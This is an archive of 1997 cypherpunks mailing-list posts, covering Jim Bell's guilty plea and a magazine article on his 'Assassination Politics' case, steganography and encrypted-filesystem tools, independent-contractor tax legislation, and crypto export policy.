On Sun, Jul 20, 1997 at 02:40:07PM -0400, Declan McCullagh wrote:
> Kent,
> 
> Yours is an interesting response. But what if one has no principles, just
> strategy and tactics?

???The obvious answer is that such a person doesn't exist.  You may
not be able to articulate your principles, they may change, they may
be "bad" or purely selfish, but they are there, guiding your actions. 
I view your question as equivalent to "But what if one has no
brain..." Principles are underlying rules controlling behavior, and
are orthogonal to bad and good. 

> If you don't know what your principles are -- if you can't identify them
> and speak to them -- then you have no business being an advocate.

If this rule were strictly followed there would be very few advocates 
indeed. :-) 

Your car is stuck in the mud, the river is raising.  Is it better to
get dirty and get the car out, or to keep your hands clean, and write
off the car? Obviously the question isn't whether or not your hands
get dirty -- the question is whether the car can be saved, and what it
is worth. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 00:35:12 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v0311071daff7a277f62e@[139.167.130.248]>
Message-ID: <97Jul21.121209edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, Robert Hettinga wrote:

> In an absolute sense, of course, more processing power is more software
> waste. My Mac wastes more cycles than I can physically count in a lifetime
> waiting for my next keystroke, and, after more than half a lifetime at the
> keyboard, I am a pretty fast typist.

The problem is that it wastes all those cycles until you hit enter (or OK)
and only then begins whatever arduous task, usually with a slowly moving
progress bar or dialog box.  What I really hate are the installs that are
going to take 15 minutes but insist that you don't do anything else while
it is copying files.  Unless you already started something in the
background which will happily run, but there is no shrink window widget.

That will probably all go away "RSN", but it will take something like a
web based process dispatch where you are filling in a form (maybe without
knowing it) and it is submitted to be dispatched to the least busy
processor in your network.  Plan 9 was trying to do something like this,
and the current SMP stuff at least attempts to do scheduling - we still
have this technology in a very mature state from mainframes and things
like vaxclusters.

But to go back to your comparison of lines v.s. nodes, the network and
busses are getting faster and the processors are two at about the same
rate, so both lines and nodes are getting cheaper, though not uniformly.

If lines become cheaper (in bits/sec/$) than nodes, we will have 10 CPU
boxes for 40 keyboard/display boxes, or some other appropriate ratio. 
Otherwise some combination of distributionware will become available so
you can run cpu intensive apps (e.g. spice electronic modeling) like DES
keyspace searches, though on your local net.  Even something like a
"batch" program for Windows NT, but the GUI paradigm makes clicking on Go 
a little difficult :).

There is another problem with software being purchased (or rented?) in the
model you describe.  It becomes cheaper to purchase it in bulk (e.g.  one
transaction giving access to a os and a library, and have the most used
components cached locally) than to go out and buy each piece as I need it. 
I have a toolbox in case I need to fix something.  If I had to drive to
store for each tool as I needed it, the sunk costs would then exceed the
price of the tool.  It would get worse if I tried to determine the best
price or best tool from among several stores.  I purchase one tool box
which handles 99.5% of the cases I am likely to see and have only one set
of sunk costs. 

E$ transactions have a very tiny transaction cost, but it is not zero, and
because it requires crypto it is noticable in CPU time and cycles.  If you
had to purchase 100 components to run Netscape (minimally the graphics,
http parsing, and a few other things first, then every time you clicked on
a new type of object), each having to be transacted and downloaded, it
would be worse than the existing bloatware.  Much like the cost of Email
is not zero, but a large amount is included in my monthly ISP payment
since the cost of tracking exceeds the cost of transmission.  A large
amount of software may eventually become a public good.  But as I may
occasionally need a special tool which is not in my box, I may want access
to special software or capacity.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 00:51:35 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <97Jul21.122058edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, sar wrote:

> >There are some crypto plugins for MS, but nothing I know of will bury your
> >info encrypted with DES or IDEA in the lsbs of a .wav file.
> 
> take a look at  http://members.iquest.net/~mrmil/stego.html it has
> steganography programs for win95,dos,mac and amiga. as well as links to
> other stego pages and a paper on " covert channels in the tcp/ip suite" 

I took a look and everything I have seen can do stego, and some
encryption, but it is one file in one file.

I was not clear because the loop device can mount a filesystem, and
encrypt and/or stego an entire directory tree in one file transparently,
so I can mount my stego-crypto image on /home/me and do everything as I
normally would on an unencrypted partition.

ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html

I can do the same with CFS, but it doesn't do stego, and I don't know if
it is available for many platforms outside unix.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 21 Jul 1997 18:55:20 +0800
To: cypherpunks@toad.com
Subject: thought for the day, and my IRS Investigations report
Message-ID: <199707211033.MAA08269@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



My interaction with Jim Bell pretty much amounted to condemning
him and telling him to go to hell, CC'ed to cypherpunks.  And 
I haven't received any IRS Investigations notes, so perhaps my
e-mail address wasn't included in Jim's little black book.


Zooko

"There are two major forces in the universe:  evolution and 
intelligence."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 01:47:45 +0800
To: Alan <alano@teleport.com>
Subject: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03007801aff94d1165ce@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I just spoke with Peter Avenia, a Federal public defender representing Jim
Bell. He said that Bell did indeed plead guilty last Friday to two felony
counts and sentencing is set for October. Apparently at least the thrust of
this "IRS Inspection" press release is accurate.

Avenia knew nothing about it, though.

-Declan

PS: I'm attaching an excerpt from my IU article in this month's issue.

************

(unedited)

Internet Underground
July 1997

Assassination Politics

Jim Bell wants to overthrow the government. He'll
have to get out of jail first.

By Declan McCullagh (declan@well.com)

[...]

IRS agents arrested Bell on May 16 and charged
him with obstructing government employees and
using false Social Security numbers. Now, this is
hardly attempting "to overthrow the government."
But government agents insist Bell is far more
dangerous than the charges suggest. (The judge
seemed to agree: at the time of this writing,
Bell is being held without bail.)

The latest IRS documents filed with the court
label Bell a terrorist. They claim he talked
about sabotaging the computers in Portland,
Oregon's 911 center, contaminating a local water
supply with a botulism toxin, extracting a poison
called Ricin from castor beans, and manufacturing
Sarin nerve gas. He allegedly bought and tested
some of the chemicals. "Bell has taken overt
steps to implement his overall plan by devising,
obtaining, and testing the materials needed to
carry out attacks against the United States,
including chemicals, nerve agents, destructive
carbon fibers, firearms, and explosives," the
complaint says.

But what really got the IRS in a stink was what
happened a month after they seized Bell's car.
The complaint says: "On March 16, 1997, a Sunday,
an IRS employee noted a strong odor in the
Federal building. On March 17, 1997, several IRS
employees had to be placed on leave due to the
odor, and another employee reported other ill
effects. The odor was traced to a mat and
carpeting... just outside the IRS office
entrance." The chemical proved to be "mercaptan,"
with which Bell's friends say he doused
an adversary's law office in the early 1980s.

Yet if Bell was a crypto-terrorist, he was a
singularly idle one. This is a problem with the
IRS' accusations: if true, they prove too much.
If Bell was bent on toppling the government, and
his exploits date back from the early 1980s, why
are they such laughably juvenile and ineffectual
ones? Stink-bombing offices isn't a Federal
felony, nor should it be.

"I would've thought this would be 'malicious
mischief,' at most," Tim May, one of the founders
of the cypherpunks, writes. "People who've done
far, far, far worse are left unprosecuted in
every major jurisdiction in this country. The
meat thrown to the media -- the usual AP stuff,
mixed in with 'radical libertarian' descriptions
-- is just to make the case more
media-interesting... It sure looks like they're
trying to throw a bunch of charges against the
wall and hope that some of them stick -- or scare
Bell into pleading to a lesser charge."

Since his arrest, the denizens of the cypherpunks
list, where Bell introduced and refined his
ideas, have become generally sympathetic. Gone is
the snarling derision, the attacks on his ideas
as too extreme. Now a sense of solidarity has
emerged. One 'punk wrote: "I have decided that I
cannot in good conscience allow Jim Bell's
persecution for exercising his basic human right
to free speech to pass by without taking personal
action to support him."

---

When I talked to Bell a few days before his
arrest, he spoke calmly and with little rancor
about the pending investigation. I couldn't tell
how he felt after being raided and interrogated
by his arch-enemy, the IRS. But imagine
continuously railing on the Net against
jackbooted thugs, then having real ones bash down
your front door.

Bell was most interested in talking up
Assassination Politics and predicting how it
would eventually blossom. He had just published
an op-ed in a local newspaper saying "the whole
corrupt system" could be stopped. "Whatever my
idea is, it's not silly. There are a lot of
adjectives you can use, but not silly," he told
me. "I feel that the mere fact of having such a
debate will cause people to realize that they no
longer have to tolerate the governments they
previously had to tolerate. At that point I think
politicians will slink away like they did in
eastern Europe in 1989. They'll have lost the
war."

He told me why he became convinced that the
government needed to be lopped off at the knees.
Bell's epiphany came after he ordered a chemical
from a supply firm and was arrested when he
failed to follow EPA regulations. "That
radicalized me," he said. "That pissed me off. I
figured I'd get back at them by taking down their
entire system. That's how I'd do it."'

Moral issues aside, one of the problems plaguing
Bell's scheme is that it's not limited to
eliminating "government thugs who violate your
rights," as he likes to describe it. If it
existed, anyone with some spare change could wipe
out a nosy neighbor or even an irritating grocery
store clerk. After I pointed this out to Bell on
the phone, he fired email back a few days later
saying, "Assuming a functioning Assassination
Politics system, nothing stops you from
contributing to my death." He suggested that
maybe assassins would develop scruples: "You'd
be able to purchase deaths of unworthy people,
but it might be only at a dramatically higher
price. Doable but not particularly economical."

---

Consider the case of Jake Baker, the University
of Michigan student who was arrested after
posting fantasies to Usenet about raping and
killing a classmate. A Federal judge eventually
threw out the charges, ruling Baker never
intended to act and the tale was "only a rather
savage and tasteless piece of fiction."

The government argues Bell intends to act. Their
court documents sketch a dark outline of a
computer geek increasingly distressed by and
disillusioned with society. He becomes
rebellious, anarchistic. But being an anarchist
isn't a crime; I've even dated one. Nor is it
against the law to bash the IRS. Some Republican
legislators make a career out of it. Even
collecting the home numbers of Federal employees
isn't a crime. What is against the law is when
speech becomes action, when online bravado
crosses the line and becomes direct threats -- or
a vial of botulism, on its way to a nearby
reservoir.

Which is the real question: Did Bell step beyond
mailing list posturing? Is he just fantasizing?
Did he intend to take real-world steps to erase
some Feds, or were his posts just megabytes of
bone-chilling blather? The IRS says it has
evidence of Bell's lethal intent but many
netizens who know Bell believe he's only a
harmless loon.

The Supreme Court has ruled that speech can be
suppressed only if it is intended, and is likely
to produce, "imminent lawless action." Since
Bell's manuscripts have drifted around the dusty
corners of cyberspace for years -- to no
discernible effect -- a prosecutor will be
hard-pressed to argue they're dangerous. Eric
Freedman, a constitutional law professor at
Hofstra Law School, says that Bell's writings are
protected by the First Amendment. The Supreme
Court's legal test "is not going to be met where
someone writes a speculative essay about what the
world would be like if such a system were in
place," he says.

Bell now faces a Federal grand jury and a
possible trial. "There are a lot of insinuations
and innuendo in the complaint but not a whole lot
of hard core criminal activity," says Peter
Avenia, a Federal public defender representing
Bell. "If you read the complaint and listen to
the testimony at the hearing, the government's
clearly concerned that Jim Bell may have been
planning to do any number of things. But when it
came down to showing any clear danger, the most
they could come up with is that they think he
might be involved in planning a stink bomb. It's
difficult to untangle the fear and hype from
what's going on."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Tue, 22 Jul 1997 03:32:26 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>
Message-ID: <3.0.2.32.19970721141349.007e5100@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:20 PM 7/21/97 -0400, you wrote:
>On Sun, 20 Jul 1997, sar wrote:
>
>> >There are some crypto plugins for MS, but nothing I know of will bury your
>> >info encrypted with DES or IDEA in the lsbs of a .wav file.
>> 
>> take a look at  http://members.iquest.net/~mrmil/stego.html it has
>> steganography programs for win95,dos,mac and amiga. as well as links to
>> other stego pages and a paper on " covert channels in the tcp/ip suite" 
>
>I took a look and everything I have seen can do stego, and some
>encryption, but it is one file in one file.
>
>I was not clear because the loop device can mount a filesystem, and
>encrypt and/or stego an entire directory tree in one file transparently,
>so I can mount my stego-crypto image on /home/me and do everything as I
>normally would on an unencrypted partition.
>
>ftp://csclub.uwaterloo.ca/pub/linux-stego/index.html
>
>I can do the same with CFS, but it doesn't do stego, and I don't know if
>it is available for many platforms outside unix.
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>

there are programs witch let you encrypt entire disk volumes transparently
for dos and windows such as 'Secure FileSystem' available at
http://www.cs.auckland.ac.nz/~pgut001/sfs.html. I've never used any such
programs so I really cant say with any confidence how well or if they work..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 22 Jul 1997 02:45:15 +0800
To: cypherpunks@Algebra.COM
Subject: House Tries to Liberate ICs
Message-ID: <3.0.2.32.19970721142051.006c6e60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Notice how the following article does not mention the fact that ICs sometimes 
neglect to send those quarterly tax payments in on time and this is why the 
Feds dislike them.  It's not going to happen, but it would be fun if it 
did...

July 20, 1997

Item in Tax Bill Poses a Threat to Job Benefits

By STEVEN GREENHOUSE

In Congress and in thousands of workplaces, the nation's business community 
is seeking to change longstanding rules and practices to turn many people 
classified as employees into independent contractors -- a move that could 
cause many Americans to lose health insurance and pension and unemployment 
insurance benefits.

In a little-noticed provision in its tax bill, the House of Representatives 
has approved a new -- and, many experts say, more inclusive -- test to 
determine who is an independent contractor. The Clinton administration is 
fighting the provision, asserting that it would strip millions of workers of 
their basic benefits. But business groups say the legislation is needed to 
clarify the often fuzzy definition of who is an independent contractor.

Outside Capitol Hill, employers ranging from small construction companies to 
giants like Microsoft and Pacific Bell are increasingly hiring new workers as 
independent contractors rather than as traditional employees -- a not 
entirely new practice that is expanding rapidly as employers strain to cut 
costs.

Such a strategy not only gives employers more flexibility to shrink their 
work forces, but it saves them thousands of dollars per worker because 
companies do not have to make Social Security, Medicare, unemployment 
insurance or workers' compensation contributions for independent contractors.

"What's clear is employers are seeking increasingly to have more flexible 
arrangements," said Sara Horowitz, the executive director of Working Today, 
an advocacy group on workplace issues. "But what that means in reality is 
people are working increasingly without benefits. They're working not only 
without health coverage but without the protections of the major labor 
legislation of this century: pensions, minimum wage, occupational safety, 
unemployment insurance, age discrimination. The list goes on."

Opponents of this practice say companies are wrongly lumping people usually 
considered employees, like truck drivers and middle-level managers, into the 
independent contractor category, which traditionally referred to people in 
business for themselves.

At last year's Olympic Games in Atlanta, for example, several hundred 
broadcast technicians hired by the Atlanta Committee for the Olympic Games 
had to sign contracts saying they were freelance independent contractors 
rather than employees, who are protected by overtime and unemployment 
insurance laws.

A Maryland catering company that books 1,000 events a year insists that the 
75 waiters it hires on average for each event are independent contractors, 
not employees.

Texas A&M University recently hired 400 low-wage farm workers for its 18 
agricultural extension programs and classified them as independent 
contractors rather than employees -- a move the IRS found to be illegal.

Pacific Bell laid off hundreds of experienced middle managers several years 
ago and has hired many of them back as independent contractors, but without 
the health insurance, pension plan and unemployment coverage they used to 
have.

Corporate America defends the trend toward hiring independent contractors, 
saying it gives companies the flexibility to cut back easily during 
downturns. Business groups also assert that because this is an age when 
Americans are becoming more entrepreneurial and are increasingly working at 
home thanks to computers, it only makes sense to classify more workers as 
contractors.

The corporate groups that have persuaded the House and are pushing the Senate 
to rewrite the definition of who is an independent contractor contend that 
the legislation is needed because the common-law definition is arcane and 
vague. They say that because many companies fear harsh IRS punishment, 
existing law pushes employers to classify workers as employees when they 
should be considered independent contractors.

Nelson Litterst, manager of legislative affairs for the National Federation 
of Independent Business, a small-business group that is pushing hard for the 
legislation, said: "The interest of small business has never been to find 
loopholes in the law to create wholesale switches of workers to independent 
contractors. Our intention is to clarify the definition so there is less of a 
gray area."

But a senior Treasury Department official argued that the provision passed by 
the House appeared intended to greatly increase the number of independent 
contractors, currently 8.3 million.

"The number of employees who will be shifted will be in the millions," said 
the official, who characterized the House legislation as far broader than 
traditional definitions of independent contractor. "I'm not even sure if I 
would characterize this provision as a sieve. A sieve at least strains things 
out."

Martin Regalia, chief economist for the U.S. Chamber of Commerce, interprets 
the House language far more restrictively, saying it merely defines borders 
instead of opening up new territory. "To allege there will be wholesale 
expansion of independent contractors and that thousands of individuals will 
lose their benefits is pure rhetoric," he said.

The AFL-CIO is working to torpedo the House provision on independent 
contractors, insisting that it would eliminate basic protections for millions 
of workers, creating a cost advantage for many employers that would in turn 
push their competitors to transform their workers into independent 
contractors.

That trend is especially worrisome for organized labor, which is struggling 
to increase its ebbing numbers, because independent contractors are not 
allowed to form or join unions under federal labor law.

"What you have here is another window into the Republican leadership's view 
of the role of government," said Peggy Taylor, the labor federation's 
director of legislative affairs. "In this instance, they're trying to put 
government on the side of those corporations and employers who want to get 
away from any responsibilities for the people who work for them."

Because the House included the independent contractor provision in its tax 
bill, but the Senate inserted no such language in its tax bill, 
administration officials and members of Congress say it is hard to predict 
whether conferees will keep the provision in the final tax bill.

The House language, introduced by Rep. Jon Christensen, R-Neb., sets up three 
tests to determine who is an independent contractor:

First, there should be a written contract between the worker and the company.

Second, the worker has a principal place of business that is not the 
company's, does not work primarily at the company's place of business or 
rents an office at the company. An alternative second test is whether the 
worker is not required to work exclusively for the company and whether the 
worker performed a significant amount of work for other companies the 
previous year.

If a worker meets the first and second tests, satisfying any of the following 
criteria makes a worker an independent contractor: The worker has "a 
significant investment in assets and/or training," the worker is primarily 
paid on commission, the worker has significant unreimbursed expenses or the 
worker's service is for a specific amount of time to complete a specific 
task.

Regalia, the Chamber of Commerce economist, said these criteria would create 
far more certainty than the common-law test, which turns on whether the 
employer controls not just the results of a worker's service but the means a 
worker uses, such as the route a worker drives or how a worker dresses.

But analyses prepared by the Clinton administration and the AFL-CIO indicate 
that the new test will sweep many more workers into the independent 
contractor category. Pizza deliverers could easily become independent 
contractors because they do not work primarily on their company's place of 
business, they own their cars (a significant investment in assets), and they 
obtain most earnings from tips (primarily paid by commissions).

Similarly, carpenters and painters might overwhelmingly be considered 
independent contractors because they own their tools (a significant 
investment in assets), they do no work on their company's premises and they 
might sign a contract to do a specific job over a specific period.

According to the Treasury, many secretaries could become independent 
contractors if companies pay them a little extra and then require them to buy 
their own computers and pay a modest rent for their offices.

Business groups criticize these analyses as ludicrous, insisting that 
corporations will not do wholesale reclassifications of traditional employees 
into contractors.

The AFL-CIO is leading the campaign to kill the provision in conference, 
arguing that when employees are turned into independent contractors, society 
at large will often have to foot the bill for those without health insurance 
or pensions. .

Organized labor and businesses are fighting about independent contractors in 
another forum: the National Labor Relations Board. There, they are disputing 
whether truck drivers for the Roadway Package System and for Dial-a-Mattress 
should be considered independent contractors.

If the board does not find them to be employees, that will be a huge setback 
to organized labor because independent contractors do not have the 
protections of the National Labor Relations Act to form unions and bargain 
collectively.

"We're heading into a two-tiered economy," said Ms. Horowitz of Working 
Today, the advocacy group. "The first tier has a New Deal safety net, 
protected by all the different labor laws. Then there is a second tier that's 
short term, flexible, many of them independent contractors. That tier doesn't 
receive benefits or labor law protections.

"The labor law and social protections are completely out of sync with this 
work force. If the rules of the game are changing and people are going to 
become independent contractors, then we have to have a new safety net that 
serves these people, too."


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 22 Jul 1997 03:07:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Jim Bell: "IRS Inspection" mail confirmed, IU article
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970721145141.006b0038@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.
>
>Avenia knew nothing about it, though.
>
>-Declan
>

I'll be curious to see what kind of deal he got.  It had better be an awfully 
good one (say "time served").  If not he was as dumb as toast.

He had a perfect chance to rake the Feds over the coals and try nasty 
disfavored defenses like Selective Prosecution.  Hard to win that one but he 
had as good a case as any one I've seen for that defense.  At the most, he 
would have gotten a short sentence if convicted.  Big deal.  

Since he was apparently not doing a great deal with his life in any case, he 
could have used it for some good.  Make the Feds spend hundreds of thousands 
of dollars on him and tie up their resources.  

Prison is no punishment for those who like to read and write.

In these political cases where the Feds are clearly overreaching, those who 
don't plead do much better than those who do.  This is the reverse of the 
situation in normal criminal cases.

Look at those in the Operation Sun Devil cases who plead vs. those who 
fought.  Or the Princeton Partners brokers who fought Rudy during the '80s 
Wall Street crackdown and won vs. Michael Milken who plead and ended up with 
the same sentence he would have received if he had been convicted.  Or even 
G. Gordon Liddy who refused to plead, was convicted and sentenced to a long 
sentence got pardoned (because of the disparity of his punishment) and is now 
more successful than all the rest of that crew put together.  

Don't plead in political cases.  It's stupid.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 22 Jul 1997 06:26:30 +0800
To: cypherpunks@cyberpass.net
Subject: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <19970721220322.4472.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell <frissell@panix.com> writes:

 > I'll be curious to see what kind of deal he got.  It had
 > better be an awfully good one (say "time served").  If not
 > he was as dumb as toast.

Let's hope it was not the "8 years" I heard on the evening news,
although I didn't catch whether that was just a possible
sentence, or the results of the plea bargain negotiations.

 > He had a perfect chance to rake the Feds over the
 > coals and try nasty disfavored defenses like
 > Selective Prosecution.  Hard to win that one but
 > he had as good a case as any one I've seen for
 > that defense.  At the most, he would have gotten a
 > short sentence if convicted.  Big deal.

Perhaps.  But he would have been tried in the media, and would
probably have been transformed into "Terrorist Jim Bell" at the
hands of the spin masters.  In the end, even if he won in court,
he would have been about as popular as OJ, and the entire
population of America would have learned to live their lives in
constant fear of smelly organic chemicals and nickel-plated
carbon fibers. Parents would be mail-ordering carbon fiber test
kits to use in their childrens' rooms.

 > Since he was apparently not doing a great deal with his
 > life in any case, he could have used it for some good.  Make
 > the Feds spend hundreds of thousands of dollars on him and
 > tie up their resources.

I would certainly try to make any such harrassment of me as
expensive as possible for those engaging in it.  On the other
hand, Bell does have living relatives, which makes unilateral
nose-thumbing at the state apparatus more risky.

 > Prison is no punishment for those who like to read and write.

Being bossed around by assholes is always annoying, regardless of
ones academic interests.

 > In these political cases where the Feds are clearly
 > overreaching, those who don't plead do much better than
 > those who do.  This is the reverse of the situation in
 > normal criminal cases.

Tell that to Robert "ream me again, please" Thomas of Amateur
Action BBS fame, who wasn't even accused of being a potential
terrorist, much less of trying to overthrow the entire
government.

 > Don't plead in political cases.  It's stupid.

Don't plead in political cases like Steve Jackson Games, PROMIS,
Operation Sun Devil, etc...  On the other hand, if you are
accused of being one of the actual Four Horsemen, and the feds
are holding press conferences on every channel with inflammatory
voice-over editorials describing the alleged contents of your
dwelling, some capitulation to the Barbarians may be necessary.

There are a number of adages which apply to this situation,
amongst them...

    Don't get involved in fights you can't win.

    When you aim for the King, shoot to kill.

    The goal of war is not to die for your country, but to make
    sure the enemy dies for theirs. 

    etc...

Enumerating Bell's violations of these common sense principles is
left as an exercise to the reader. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com>
Date: Tue, 22 Jul 1997 03:38:57 +0800
To: "cypherpunks@toad.com>
Subject: Interesting Question..
Message-ID: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is an interesting question. The U.S government has classified
encryption software as a munitions under the U.S ITAR regulations, which

will limit the export of same. They rarely if ever approve an export
unless they have thoroughly inspected it and have been given certain
shall we say assurances. Next they develop a number of different chips
that rely on a classified algorythm, which incidently they developed.
They say that they want the entire population of the U.S to use these
chips, going so far as to use their market power to put additional
pressure on enterprises to manufacture and use these chips. Next the FBI

howls thatt they need a law to ban domestic non-escrowed encryption.
Then we have the Congress trying to pass stricter laws regarding
encryption while screaming that they have to protect the children from
all this nasty stuff on the web. This they scream even though they can't

pass a balanced budget or manage to find enough money to educate those
self same kids. Next we have us, the general public, who are worried
that the government will abuse this proposed system. The government says

they won't, which we are supposed to believe even though their track
record shows that we can't trust them past the first money trough that
comes their way. That leaves one final question. How long until they
stop asking and pleading and start demanding we use this system of
theirs. How long until we become criminals by enacting our right not to
use it?

Interesting, don't you think?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 22 Jul 1997 04:14:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell: "IRS Inspection" mail confirmed
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970721160624.006c670c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:39 PM 7/21/97 -0400, Declan McCullagh wrote:
>
>I just spoke with Peter Avenia, a Federal public defender representing Jim
>Bell. He said that Bell did indeed plead guilty last Friday to two felony
>counts and sentencing is set for October. Apparently at least the thrust of
>this "IRS Inspection" press release is accurate.


Which two counts?  Do you know what the plea bargain is re: sentencing?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 07:21:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <v03102805aff99a4017cb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:03 PM -0700 7/21/97, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, and the entire
>population of America would have learned to live their lives in
>constant fear of smelly organic chemicals and nickel-plated
>carbon fibers. Parents would be mail-ordering carbon fiber test
>kits to use in their childrens' rooms.

I see some publishing opportunities:

"How to Tell if Your Child is a "Cypherpunk""

"What to do if your children display an unhealthy interest in chemistry."

"The 10 warning signs an information terrorist is in your community."

And the mother of all titles, "Fear, Uncertainty, and Doubt."

Next on Oprah, children who use cryptography to keep secrets from their
parents.

--Tim May

P.S. Will Bell be allowed to receive encrypted messages in jail? (Bell can
report to us firsthand the practical realities of both the "prisoner's
dilemma" and the use of covert channels to communicate with other prisoners
in plain sight.)

P.P.S. Earlier today Duncan opined that prison is a good place for people
who like to read and write. First, it depends on what they let one read.
Second, no Net access. Third, and most importantly, it depends critically
on what kind of prison one is in. If your cellmate is Bubba and he wants
you to be his "wife"...



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Mon, 21 Jul 1997 14:51:25 +0800
To: cypherpunks@cyberpass.net
Subject: TEST [IGNORE]
Message-ID: <199707210644.QAA13569@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Mon, 21 Jul 1997 15:57:07 +0800
To: cypherpunks@toad.com
Subject: TEST [IGNORE]
Message-ID: <199707210742.RAA13672@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



ex toad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 22 Jul 1997 06:05:38 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Verisign gets export approval
Message-ID: <199707212144.RAA15989@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think you have to see the whole gameplan to understand what is going
on.

The issue is the "exportable" versions of Navigator and Internet
Explorer. Presumably Microsoft wants to release as strong a general
crypto solution as they can.

So if you are a merchant in the US selling to a European customer you
want to use 128bit encryption if it is available. The issue to consider
is not the 128bit certs, it is the client base. To access that base of
128bit "exportable" clients you have to have the magic certificate
whether or not you are in the US. Sameer's server is irrelevant, the
certificate is used to "throw the switch" on the client, not the server.

This only looks like it hands Uncle Sam a magic key if you consider the
single case. The problem is what the response of the other users of the
foreign certificates is should the government actually put its key to
use. The revocation must be a public act for it to be effective.

Certainly I can't imagine the US government asking Airbus industries to
hand over their accounts data so they can pass it straight on to Boeing.
I can't see it affecting any of the similar industrial espionage risks
that concern the companies likely to be allowed to use the system.

